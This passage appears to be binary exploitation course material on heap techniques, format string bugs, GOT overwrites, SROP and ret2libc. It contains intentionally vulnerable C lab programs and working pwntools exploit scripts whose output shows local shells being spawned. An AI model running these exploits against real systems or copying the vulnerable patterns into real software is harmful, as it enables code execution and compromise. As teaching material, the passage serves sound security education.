- Before free: tcache empty
- After free: chunk in tcache
- After poisoning: tcache points to target
- After second malloc: arbitrary address returned
-
Modify to target a function pointer:
- Add a function pointer variable
- Poison tcache to point to it
- Overwrite with
systemor win function
Exercise: House of Botcake
-
Run how2heap example:
~/tuts/how2heap/glibc_2.39/house_of_botcake -
Understand the technique:
- Fill tcache → chunk goes to unsorted bin
- Consolidation creates overlapping chunk
- Free victim to tcache → exists in both bins!
- Allocate from unsorted → control tcache entry
-
Key insight: Bypasses tcache double-free detection via consolidation trick
Exercise: Safe-Linking Bypass
-
Study the protection:
// Demangling formula #define REVEAL_PTR(pos, ptr) \ ((__typeof__(ptr))((((size_t)(pos)) >> 12) ^ ((size_t)(ptr)))) -
Write a heap leak + tcache poison exploit:
- First, leak a heap address (via UAF read or other bug)
- Calculate the XOR key:
heap_addr >> 12 - Mangle your target address before writing to tcache
- Verify with ~/tuts/how2heap/glibc_2.39/tcache_poisoning.c
Exercise: Advanced Techniques
-
Large Bin Attack:
- Run
~/tuts/how2heap/glibc_2.39/large_bin_attack - Understand bk_nextsize corruption for arbitrary write
- Run
-
House of Water (Expert):
- Study the technique on how2heap wiki
- Requires understanding of tcache metadata structure
-
House of Tangerine (Expert):
- Run
~/tuts/how2heap/glibc_2.39/house_of_tangerine - Key: Exploits sysmalloc _int_free without needing free()
- Run
Success Criteria:
| Task | Criterion |
|---|---|
| Task 1 | UAF exploit hijacks function pointer |
| Task 2 | Understand tcache House of Spirit simplicity |
| Task 3 | Tcache poisoning achieves arbitrary write |
| Task 4 | Can explain House of Botcake consolidation trick |
| Task 5 | Safe-linking bypass works with heap leak |
| Task 6 | At least one advanced technique understood |
Minimum requirement: Complete Tasks 1-4 with full understanding
Key Takeaways
- Start with UAF patterns: Understand the core vulnerability before learning exploitation techniques
- Tcache House of Spirit is easiest: No next chunk validation makes it simpler than fastbin variant
- House of Botcake is most practical: Double-free bypass works on all modern glibc (2.29+)
- Safe-linking bypass uses chunk address: XOR key derived from corrupted chunk (chunk_addr >> 12) for glibc 2.32+
- Know your glibc version: Technique selection depends heavily on target version
- how2heap/glibc_2.41 is your reference: Practice techniques in order of difficulty
- CET doesn't block heap exploits: Function pointer/GOT overwrites bypass SHSTK/IBT
- Hooks are dead:
__malloc_hook/__free_hookremoved in glibc 2.34+, use GOT or FSOP instead
Discussion Questions
- Why is tcache House of Spirit easier than the original fastbin version?
- How does safe-linking protect against tcache poisoning, and why does it require a heap leak to bypass?
- What makes House of Botcake the most practical double-free technique for modern glibc?
- When would you use House of Tangerine over House of Botcake?
Day 5: Format String Vulnerabilities
- Goal: Master format string exploitation techniques.
- Activities:
- Reading:
- Format String Exploitation
- "The Shellcoder's Handbook" - Chapter 4
- Online Resources:
- Tool Setup:
- pwntools with FmtStr module
- GDB with format string helpers
- Exercise:
- Read arbitrary memory with %x
- Write arbitrary memory with %n
- Overwrite GOT entry for exploitation
- Reading:
Deliverables
- Binary:
vuln_fmtbuilt and verified withchecksec - Offset: your correct format string offset found (the
%<n>$pwhere you see0x4141414141414141) - Leak: at least one stable pointer leak (stack/libc) parsed in Python
- Write: one working
%nwrite (flip a variable or overwrite a GOT entry) - Exploit: a pwntools script that reaches code execution (shell or
win())
Understanding Format Strings
What is a Format String Bug?:
- User input passed directly to printf-like function
- Attacker controls format specifiers
- Can read/write arbitrary memory
Vulnerable Code:
//~/exploit/vuln_fmt.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
printf("You won!\n");
system("/bin/sh");
}
int main() {
char buffer[200];
// Clear buffer
memset(buffer, 0, sizeof(buffer));
// Read from stdin to allow null bytes in payload
// use read() to avoid stopping at null bytes or newlines prematurely
read(0, buffer, sizeof(buffer)-1);
// VULNERABLE: user-controlled buffer used as format string!
printf(buffer);
exit(0);
}
Format String Basics
Common Format Specifiers:
| Specifier | Description | Stack Effect (AMD64) |
|---|---|---|
%d | Print int | Reads from register/stack |
%x | Print hex (32-bit) | Reads 4 bytes, zero-extended |
%lx | Print hex (64-bit) | Reads full 8 bytes |
%s | Print string | Reads pointer, dereferences |
%n | Write byte count | Writes to pointer |
%p | Print pointer (BEST!) | Shows full 64-bit pointer as hex |
%<number>$ | Direct parameter access | Access specific position |
[!IMPORTANT] On AMD64, always use
%pfor leaking! It prints the full 64-bit value in hex format (0x7fff...). Using%xonly shows 32 bits and can confuse beginners.
AMD64 Format String Parameter Passing:
On AMD64, the first 6 printf arguments after the format string come from registers:
- Position 1-6: RDI (fmt), RSI, RDX, RCX, R8, R9
- Position 7+: Stack
This means your buffer typically appears at offset 6 or higher on AMD64!
Reading Stack:
# Compile vulnerable program (AMD64, no -m32!)
make format-sec SOURCE=vuln_fmt.c BINARY=vuln_fmt
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security vuln_fmt.c -o vuln_fmt
# Read values using %p (always use %p on AMD64!)
echo 'AAAA%p %p %p %p %p %p %p %p' | ./vuln_fmt
# Output: AAAA0x7ffc4cb66900 0xc7 0x7cc35931ba91 (nil) 0x7cc3594c0380 0x2520702541414141 0x2070252070252070 0x7025207025207025
# ^^^^^^^^
# Your input at offset 6!
# Direct parameter access - note: offset changes with format string length!
echo '%6$p' | ./vuln_fmt # 0xa70243625 (format string itself!)
echo '%1$p' | ./vuln_fmt # 0x7ffdca13b4b0 (stack addr)
# To find your input, use consistent padding:
echo 'AAAAAAAA%6$p' | ./vuln_fmt
# Output: AAAAAAAA0x4141414141414141 ← Input found at offset 6!
Stack Reading Success:
- Input buffer found at offset 6 (confirmed with
0x4141414141414141) %6$pshows format string pointer0xa70243625%1$pshows stack address0x7ffdca13b4b0- Key: On AMD64, input typically appears at offset 6+ due to register passing
Information Disclosure
Leaking Stack Values (AMD64):
#!/usr/bin/env python3
# ~/exploit/fmt_leak.py
"""
Format string exploit to leak stack values (AMD64)
"""
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
def leak_stack(offset):
"""Leak value at stack offset"""
# Use padding to keep format string length consistent
payload = f'AAAAAAAA%{offset}$p'.encode()
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# Scan for our input (0x4141414141414141)
log.info("Scanning stack offsets...")
for i in range(1, 10):
result = leak_stack(i)
decoded = result.decode().strip()
marker = "<<<" if "4141414141414141" in decoded else ""
print(f"Offset {i:2d}: {decoded} {marker}")
# On this system, input is at offset 6
Run:
cd ~/exploit
python3 fmt_leak.py
Test Results:
[*] Scanning stack offsets...
...
Offset 5: AAAAAAAA0x796604c9a380
[+] Starting local process './vuln_fmt': pid 2583
[+] Receiving all data: Done (26B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2583)
Offset 6: AAAAAAAA0x4141414141414141 <<<
[+] Starting local process './vuln_fmt': pid 2586
[+] Receiving all data: Done (18B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2586)
Offset 7: AAAAAAAA0x70243725
[+] Starting local process './vuln_fmt': pid 2589
[+] Receiving all data: Done (13B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2589)
...
Stack Scanning Success:
- Input confirmed at offset 6:
0x4141414141414141marker found - Various stack values leaked: Stack addresses, libc pointers, NULL values
- Consistent results: Each offset returns predictable values
- Process management: Each scan spawns new process to avoid state corruption
Finding Your Input Offset (Quick Method):
#!/usr/bin/env python3
#~/exploit/fmt_find_offset.py
# ~/exploit/fmt_find_offset.py
from pwn import *
binary = './vuln_fmt'
context.log_level = 'error'
# Scan with consistent padding
for i in range(1, 20):
payload = f'AAAAAAAA%{i}$p'.encode()
p = process(binary)
p.send(payload)
out = p.recvall().decode()
p.close()
if '4141414141414141' in out:
print(f"[+] Input found at offset {i}")
print(f" Payload: AAAAAAAA%{i}$p")
break
else:
print("[-] Not found in first 20 offsets")
Result: On this system, input buffer is at offset 6.
Arbitrary Memory Read (AMD64)
Reading Memory at Address:
On AMD64, addresses are 8 bytes and may contain null bytes (0x00004...). Null bytes terminate strings, so we put the address AFTER the format specifier!
// Want to read memory at 0x00000000004011b6 (main)
// Problem: Address has leading zeros = null bytes!
// Solution: Put address at END of format string
// "%9$sAAAAAAAA" + p64(addr)
// The AAAAAAAA aligns to 8 bytes, then address follows
The 64-bit Null Byte Problem (Manual Payload Construction)
fmtstr_payload is magic, but you must understand why 64-bit writes are painful.
The Issue: 64-bit addresses (e.g., 0x00007fffffffe000) contain null bytes at the start (little endian: 00 e0 ff ...).
If you put the address at the start of your payload (like in 32-bit exploits), printf reads the null bytes and stops processing the rest of the string immediately.
The Solution: Place the target address at the very end of the payload.
- Calculate Offset: Determine how many 8-byte blocks it takes to reach the end of your format string.
- Argument Ordering: Use
%<offset>$nto tell printf to skip ahead to that end-block where the address lives.
# Conceptual 64-bit Write (Manual)
# We want to write 'A' (65) to 0x7fffffffe010
# 1. Padding to align stack
pad = b"A" * 8
# 2. Format specifiers (write 65 bytes)
fmt = b"%65c"
# 3. The write trigger (pointing to offset 8, for example)
trigger = b"%8$n"
# 4. Pad length to align address to 8-byte boundary
final_pad = b"B" * (64 - len(pad+fmt+trigger))
# 5. The Address (with null bytes) comes LAST
addr = p64(0x7fffffffe010)
payload = pad + fmt + trigger + final_pad + addr +
Example:
#!/usr/bin/env python3
#~/exploit/21.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
def send_payload(payload_bytes):
"""Helper to send payload with null bytes"""
p = process(binary)
p.send(payload_bytes)
output = p.recvall()
p.close()
return output
# Step 1: Find payload offset
log.info("Step 1: Finding payload offset on stack")
payload_offset = 0
for test_offset in range(1, 20):
payload = b"AAAAAAAA" + f"%{test_offset}$p".encode()
result = send_payload(payload)
output = result.decode('utf-8', errors='ignore')
if '0x4141414141414141' in output:
log.success(f"Payload lands at offset {test_offset}")
payload_offset = test_offset
break
else:
log.error("Could not find payload offset")
exit(1)
# Step 2: Leak Libc
log.info(f"\nStep 2: Leaking libc address")
# Leak libc from a known offset (e.g., return address or __libc_start_main)
# We need to find a stable libc pointer on the stack.
libc_leak_offset = 33
# Note: You must calculate the offset constant yourself by debugging!
libc_offset_constant = 0x2a1ca
payload = f"%{libc_leak_offset}$p".encode()
result = send_payload(payload)
output = result.decode('utf-8', errors='ignore').strip()
if '0x' in output:
try:
# Output might be "0x7f..." or similar
leak_str = output.split('0x')[1].split()[0]
leak_addr = int(leak_str, 16)
log.info(f"Leaked address at offset {libc_leak_offset}: {hex(leak_addr)}")
libc_base = leak_addr - libc_offset_constant
log.success(f"Calculated Libc Base: {hex(libc_base)}")
if libc_base & 0xfff == 0:
log.success("Libc base is page-aligned! Looks good.")
else:
log.warning("Libc base is NOT page-aligned - might be wrong offset")
except (ValueError, IndexError) as e:
log.error(f"Failed to parse leaked address: {e}")
log.error(f"Raw output: {output}")
exit(1)
else:
log.error("No address leaked - check offset")
exit(1)
Arbitrary Memory Write (AMD64)
The %n Specifier (64-bit considerations):
%nwrites 4 bytes (int) - often enough!%lnwrites 8 bytes (long) - full 64-bit%hnwrites 2 bytes (short)%hhnwrites 1 byte (char) - most precise
For AMD64 addresses (0x7fff...), use %hhn to write byte-by-byte,
or %hn to write 2 bytes at a time. Full 8-byte writes are rarely practical.
Writing with pwntools (Recommended):
#!/usr/bin/env python3
#~/exploit/22.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf # CRITICAL: Sets amd64!
# pwntools fmtstr_payload handles all the complexity
target = elf.got['exit'] # Example: overwrite exit@GOT
value = elf.symbols['win'] # Redirect to win()
# Find format string offset first (see next section)
offset = 6 # Offset 6 (stdin based)
# Generate payload automatically
payload = fmtstr_payload(offset, {target: value})
log.info(f"Payload length: {len(payload)}")
# Send payload via stdin to allow null bytes
p = process(binary)
p.send(payload)
p.recvuntil(b"You won!") # Verify win
p.interactive()
Test Results:
[*] Payload length: 64
[+] Starting local process './vuln_fmt': pid 2626
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './vuln_fmt' (pid 2626)
GOT Overwrite Success:
- Payload generated: 64 bytes using
fmtstr_payload - exit@GOT overwritten: Redirected to
win()function - Shell achieved: Interactive shell with user privileges
- pwntools magic: Automatic handling of 64-bit address alignment and null bytes
GOT Overwrite Attack (AMD64)
Global Offset Table (GOT):
- Stores addresses of dynamically linked functions
- Writable by default (Partial RELRO)
- Overwriting GOT entry redirects function calls
Exploit Strategy:
- Find GOT entry for common function (printf, exit, etc.)
- Use format string to leak libc address (defeat ASLR)
- Use format string to overwrite GOT entry
- Point GOT entry to
systemorone_gadget - Trigger function call → shell!
Example Program (fmt_got.c):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void win() {
printf("You win!\n");
system("/bin/sh");
}
int main() {
char buffer[200];
memset(buffer, 0, sizeof(buffer));
// Read from stdin to allow null bytes
read(0, buffer, sizeof(buffer)-1);
// Format string vulnerability
printf(buffer);
printf("\n");
// Call exit (GOT entry target)
exit(0);
}
Compile (AMD64):
make format-sec SOURCE=fmt_got.c BINARY=fmt_got
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security fmt_got.c -o fmt_got
Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/23.py
from pwn import *
binary = './fmt_got'
elf = ELF(binary)
context.binary = elf # Sets amd64 automatically!
# Find addresses
win_addr = elf.symbols['win']
exit_got = elf.got['exit']
log.info(f"win() @ {hex(win_addr)}")
log.info(f"exit@GOT @ {hex(exit_got)}")
# Step 1: Find format string offset
def send_payload(payload):
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# Manual offset finding
for i in range(1, 10):
result = send_payload(f"%{i}$p".encode())
log.info(f"Offset {i}: {result}")
# Once you find offset where your input appears...
# Example: offset 6
# Step 2: Use fmtstr_payload (handles AMD64 complexity!)
offset = 6 # ADJUST BASED ON YOUR TESTING!
payload = fmtstr_payload(offset, {exit_got: win_addr})
log.info(f"Payload: {payload[:50]}...")
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
[*] win() @ 0x401186
[*] exit@GOT @ 0x404030
[*] Payload: b'%134c%11$lln%139c%12$hhn%47c%13$hhnaaaab0@@\x00\x00\x00\x00\x001@'...
[+] Starting local process './fmt_got': pid 2682
[*] Switching to interactive mode
You win!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fmt_got' (pid 2682)
Manual GOT Overwrite Success:
- Addresses found:
win()at0x401186,exit@GOTat0x404030 - Offset scanning: Tested offsets 1-9, format string found at various positions
- Payload generated: Complex multi-byte write using
%lln,%hhnspecifiers - GOT overwritten:
exit@GOTredirected towin()function - Shell achieved: "You win!" message and interactive shell
Using pwntools FmtStr Class (Automated):
#!/usr/bin/env python3
#~/exploit/24.py
from pwn import *
binary = './fmt_got'
elf = ELF(binary)
context.binary = elf
def oracle(payload):
"""Execute format string and return output"""
# Use stdin for payload to allow null bytes (AMD64)
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# FmtStr auto-finds offset!
# We tell it we control the first argument (index 0) of the printf call (handled by oracle)
autofmt = FmtStr(execute_fmt=oracle)
log.info(f"Auto-detected offset: {autofmt.offset}")
# Queue write operation
autofmt.write(elf.got['exit'], elf.symbols['win'])
# Execute (sends the payload)
#autofmt.execute_writes()
# For interactive shell, send manually:
payload = fmtstr_payload(autofmt.offset, {elf.got['exit']: elf.symbols['win']})
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
[*] Process './fmt_got' stopped with exit code 0 (pid 2708)
[+] Found format string offset: 6
[*] Auto-detected offset: 6
[+] Starting local process './fmt_got': pid 2711
[*] Switching to interactive mode
You win!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fmt_got' (pid 2711)
Automated FmtStr Success:
- Auto-detection: FmtStr automatically found format string offset 6
- Multiple processes: Used oracle function to test different payloads
- Payload generation: Automatic creation of format string payload
- GOT overwrite: Successfully redirected
exit@GOTtowin()function - Shell achieved: "You win!" message and interactive shell
- pwntools power: Automated offset finding and payload generation
Automated Exploitation with pwntools (AMD64)
Using FmtStr Module:
#!/usr/bin/env python3
#~/exploit/25.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf # CRITICAL for AMD64!
# Define oracle function - how to send payload and get output
def send_fmt(payload):
# Use stdin for payload to allow null bytes
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# Automatic offset detection and exploitation
# We tell it we control the first argument (index 0) of the printf call (handled by oracle)
fmt = FmtStr(execute_fmt=send_fmt)
log.info(f"Detected offset: {fmt.offset}")
# Queue writes (can write multiple!)
target = elf.got['exit']
value = elf.symbols['win']
fmt.write(target, value)
# Execute all queued writes
fmt.execute_writes()
Test Results:
...
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2736)
[*] Found format string offset: 6
[*] Detected offset: 6
[+] Starting local process './vuln_fmt': pid 2739
[-] Receiving all data: Failed
Traceback (most recent call last):
...
KeyboardInterrupt
[*] Stopped process './vuln_fmt' (pid 2739)
FmtStr.execute_writes() Issue:
- Offset detection worked: Found format string at offset 6
- Problem:
execute_writes()hangs because successful GOT overwrite redirectsexit()towin(), butwin()doesn't exit the program - Root cause: After GOT overwrite, program calls
win()and waits for input, butrecvall()expects program to exit - Solution: Use
fmtstr_payload()directly instead ofexecute_writes()for interactive shells
Manual fmtstr_payload (More Control):
#!/usr/bin/env python3
#~/exploit/26.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
# First: Find your offset manually
# Test: echo 'AAAAAAAA %p %p ...' | ./vuln_fmt
# Look for 0x4141414141414141
offset = 6 # Offset 6 (stdin based)
# Generate optimized payload
payload = fmtstr_payload(
offset,
{elf.got['exit']: elf.symbols['win']},
write_size='short' # Use %hn (2-byte writes) - often more reliable
)
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
...
[+] Starting local process './vuln_fmt': pid 2759
[*] Switching to interactive mode
You won!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './vuln_fmt' (pid 2759)
Manual fmtstr_payload Success:
- Direct approach worked: Used
fmtstr_payload()instead ofexecute_writes() - Shell achieved: "You won!" message and interactive shell
- write_size='short': Used
%hn(2-byte writes) for reliability - Interactive mode: Properly handled program that doesn't exit after exploitation
Format String + Libc Leak Pattern (ASLR Bypass):
#!/usr/bin/env python3
#~/exploit/27.py
"""
Complete format string exploit with ASLR bypass (AMD64)
Pattern: Leak → Calculate → Overwrite
"""
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
def send_fmt(payload):
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# STAGE 1: Leak libc address
# Find a libc pointer on the stack (return addr, saved values, etc.)
# __libc_start_main+XXX is commonly at offset 33 on our system
leak_offset = 33 # Set to 33 based on GDB debugging
leak = send_fmt(f'%{leak_offset}$p'.encode())
libc_leak = int(leak.decode().strip(), 16)
log.info(f"Leaked: {hex(libc_leak)}")
# STAGE 2: Calculate libc base
# The leak is __libc_start_main + 122 (0x7...2a1ca)
libc_offset_constant = 0x2a1ca # Found via GDB
libc.address = libc_leak - libc_offset_constant
log.success(f"Libc base: {hex(libc.address)}")
# Verify base is page-aligned
assert libc.address & 0xfff == 0, "Bad libc base calculation!"
# STAGE 3: Overwrite GOT with one_gadget or system
# Find one_gadget: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = libc.address + 0xe3b01 # ADJUST - run one_gadget tool!
# STAGE 3: Overwrite GOT with one_gadget or system
# Find one_gadget: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = libc.address + 0xe3b01 # ADJUST - run one_gadget tool!
# Generate payload manually for the final exploit
# We know the offset is 6 (stdin based)
offset = 6
payload = fmtstr_payload(offset, {elf.got['exit']: one_gadget})
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
...
[+] Starting local process './vuln_fmt': pid 2769
[+] Receiving all data: Done (14B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2769)
[*] Leaked: 0x77d09f42a1ca
[+] Libc base: 0x77d09f400000
[+] Starting local process './vuln_fmt': pid 2772
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ id
[*] Process './vuln_fmt' stopped with exit code -11 (SIGSEGV) (pid 2772)
[*] Got EOF while sending in interactive
ASLR Bypass + One_Gadget Issues:
- Libc leak successful:
0x77d09f42a1ca→ base0x77d09f400000 - One_gadget problem:
0xe3b01offset caused crash (SIGSEGV) - Root cause: Wrong one_gadget offset for this libc version/system
- Solution: Run
one_gadget /lib/x86_64-linux-gnu/libc.so.6to find working offsets
Key Lessons:
- FmtStr.execute_writes(): Not suitable for interactive shells - use
fmtstr_payload()directly - One_gadget offsets: System-specific, must be recalculated for each libc version
- Manual approach:
fmtstr_payload()withwrite_size='short'is most reliable - ASLR bypass: Libc leak + base calculation works perfectly
Format String Protection Mechanisms
Fortify Source (-D_FORTIFY_SOURCE=2):
- Checks format string at compile time
- Warns on non-literal format strings
- Adds runtime checks
// Caught by fortify
printf(user_input); // Compile warning
// Also caught
char fmt[100];
strcpy(fmt, user_input);
printf(fmt); // Runtime error
Mitigations:
- Always use literal format strings:
printf("%s", input) - Enable compiler warnings:
-Wformat -Wformat-security - Use fortify source:
-D_FORTIFY_SOURCE=2 - Static analysis tools: scan for printf(user_controlled)
SROP (Sigreturn-Oriented Programming) Explained
What is SROP?:
- Uses the
sigreturnsyscall to set all registers at once sigreturnrestores register state from a "signal frame" on stack- Attacker provides fake signal frame with controlled register values
- Single syscall sets RAX, RDI, RSI, RDX, RIP, RSP, etc.
Why Use SROP?:
- Tiny Binaries: In statically linked binaries or small containers, you might not have enough gadgets for a full
pop rdi; retchain. SROP only needssyscall; ret. - Gadget Scarcity: If CET blocks complex ROP chains, SROP (which does context switching in kernel space) can sometimes simplify the userspace requirements.
- One-Shot Setup: It sets RDI, RSI, RDX, and RAX simultaneously. No need to hunt for elusive
pop rdxgadgets. - Sets ALL registers in one operation (including RBP for one_gadget!)
- Useful when gadgets are scarce
- Bypasses CET! Syscall-based approach doesn't use libc functions
[!NOTE] SROP vs one_gadget on modern libc: SROP uses direct syscalls, bypassing libc entirely. This avoids CET issues that plague libc function calls. If one_gadget fails due to CET constraints, SROP is an excellent alternative.
Signal Frame Structure (simplified x64):
struct sigcontext {
uint64_t r8, r9, r10, r11, r12, r13, r14, r15;
uint64_t rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp, rip;
uint64_t eflags;
// ... more fields
};
SROP Exploit Flow:
- Overflow buffer
- Set return address to sigreturn gadget
- Place fake signal frame on stack with:
RAX = 59 (execve syscall number)RDI = address of "/bin/sh"RSI = 0 (NULL)RDX = 0 (NULL)RIP = syscall gadget
- sigreturn loads all registers from fake frame
- Execution continues at RIP (syscall)
- execve("/bin/sh", NULL, NULL) executed
SROP with pwntools:
Target Source (vuln_srop.c):
// Compile: make disabled SOURCE=vuln_srop.c BINARY=vuln_srop
// Note: -fcf-protection=none is REQUIRED to disable Intel CET (Shadow Stack) which blocks SROP
#include <stdio.h>
#include <unistd.h>
char binsh[] = "/bin/sh";
// Explicitly include gadgets for the exercise
void gadgets() {
__asm__ volatile(
"pop %rax; ret\n"
"syscall\n"
"ret\n"
);
}
void vuln() {
char buffer[64];
write(1, "Enter input: ", 13);
read(0, buffer, 512); // Large overflow
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Exploit Script:
#!/usr/bin/env python3
#~/exploit/exploit_srop.py
from pwn import *
context.arch = 'amd64'
binary = './vuln_srop'
elf = ELF(binary)
rop = ROP(elf)
# 1. Find Gadgets
try:
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
log.info(f"pop rax @ {hex(pop_rax)}")
log.info(f"syscall @ {hex(syscall_ret)}")
except:
log.critical("Gadgets not found! Did you compile vuln_srop.c explicitly?")
exit(1)
# 2. Find /bin/sh
try:
binsh_addr = next(elf.search(b'/bin/sh'))
log.info(f"/bin/sh @ {hex(binsh_addr)}")
except StopIteration:
log.critical("/bin/sh not found in binary! Did you add the global string?")
exit(1)
# 3. Build Frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = elf.bss() + 0x100 # Set valid stack pointer for stability
# 4. Construct Payload
offset = 72
payload = b'A' * offset
payload += p64(pop_rax)
payload += p64(constants.SYS_rt_sigreturn) # 15
payload += p64(syscall_ret)
payload += bytes(frame)
# Run
p = process(binary)
p.sendline(payload)
p.interactive()
Test Results:
...
[*] Loading gadgets for '/home/dev/exploit/vuln_srop'
[*] pop rax @ 0x40114a
[*] syscall @ 0x40114c
[*] /bin/sh @ 0x404028
[+] Starting local process './vuln_srop': pid 2852
[*] Switching to interactive mode
Enter input: $ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
SROP Exploit Success:
- Compilation: Built with
-fcf-protection=none -z execstack(CET disabled, executable stack) - Gadgets found:
pop rax @ 0x40114a,syscall @ 0x40114c(from inline assembly) - String located:
/bin/sh @ 0x404028(global variable in .data) - Shell achieved: Interactive shell with full user privileges
- Clean exit: Process exits normally after shell session
Key Technical Details:
- CET bypass:
-fcf-protection=nonedisables shadow stack/IBT protection - Executable stack:
-z execstackallows shellcode if needed - Inline gadgets: Assembly provides reliable gadget addresses
- Direct syscall: Bypasses libc entirely, avoiding CET restrictions
- Signal frame: 248-byte structure sets all registers simultaneously
When to Use SROP vs ROP:
| Scenario | Use SROP | Use ROP |
|---|---|---|
| Few gadgets available | x | |
| Need to set many registers | x | |
| Simple function call | x | |
Binary has sigreturn gadget | x | |
| Need fine-grained control | x |
ret2dlresolve Explained
What is ret2dlresolve?:
- Abuses the dynamic linker's lazy binding mechanism
- Forces linker to resolve ANY function, even if not imported
- Works even with Full RELRO (in some cases)
- No libc address leak required!
How Lazy Binding Works:
- Program calls printf@plt
- PLT jumps to GOT entry
- First call: GOT points back to PLT
- PLT calls
_dl_runtime_resolve(link_map, reloc_index) - Resolver finds "printf" in libc, updates GOT
- Future calls go directly to libc printf
ret2dlresolve Attack:
- Craft fake Elf_Rel structure (relocation entry)
- Craft fake Elf_Sym structure (symbol entry)
- Craft fake string "system"
- Call
_dl_runtime_resolvewith fakereloc_index - Resolver "resolves" our fake "system" symbol
- system("/bin/sh") gets called!
ret2libc with Leak:
Instead of ret2dlresolve, most real exploits use a two-stage approach:
// leak_target.c - Compile: gcc -fno-stack-protector -no-pie -o leak_target leak_target.c
#include <stdio.h>
#include <unistd.h>
// Add pop rdi gadget for ret2libc
__attribute__((noinline)) void gadgets() {
__asm__ volatile(
".global pop_rdi_ret\n"
"pop_rdi_ret:\n"
"pop %rdi\n"
"ret\n"
);
}
void vuln() {
char buf[64];
// Stage 1: Leak libc address (common in real vulnerabilities)
printf("puts@GOT: %p\n", puts);
printf("printf@GOT: %p\n", printf);
// Stage 2: Buffer overflow
printf("Enter data: ");
read(0, buf, 256);
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("=== ret2libc with Leak Demo ===\n");
vuln();
return 0;
}
#!/usr/bin/env python3
#~/exploit/ret2libc.py
"""
ret2libc with leak - Automatic gadget discovery
No hardcoded addresses - finds everything dynamically
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
binary = './leak_target'
elf = ELF(binary)
rop = ROP(elf)
# Find libc
try:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
except:
try:
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
except:
log.error("Could not find libc. Adjust path in script.")
exit(1)
p = process(binary)
# Stage 1: Get leak
p.recvuntil(b"puts@GOT: ")
puts_addr = int(p.recvline().strip(), 16)
log.info(f"Leaked puts: {hex(puts_addr)}")
# Calculate libc base
libc.address = puts_addr - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
log.info(f"system: {hex(libc.symbols['system'])}")
binsh = next(libc.search(b'/bin/sh'))
log.info(f"/bin/sh: {hex(binsh)}")
# Stage 2: Find gadgets automatically
log.info("Finding gadgets...")
# Find pop rdi gadget
try:
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f"pop rdi; ret: {hex(pop_rdi)}")
except:
log.error("Could not find 'pop rdi; ret' gadget")
exit(1)
# Find ret gadget for alignment
try:
ret = rop.find_gadget(['ret'])[0]
log.success(f"ret: {hex(ret)}")
except:
log.error("Could not find 'ret' gadget")
exit(1)
# Build payload
offset = 72 # 64 buffer + 8 saved RBP
payload = b'A' * offset
# Stack alignment: Add ret gadget first
payload += p64(ret)
# Call system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(libc.symbols['system'])
log.info(f"Payload size: {len(payload)} bytes")
p.sendlineafter(b"Enter data: ", payload)
log.success("Exploit sent! Checking for shell...")
sleep(0.5)
try:
p.sendline(b'echo SUCCESS')
response = p.recvline(timeout=2)
if b'SUCCESS' in response:
log.success("Shell spawned!")
p.interactive()
else:
log.info(f"Got: {response}")
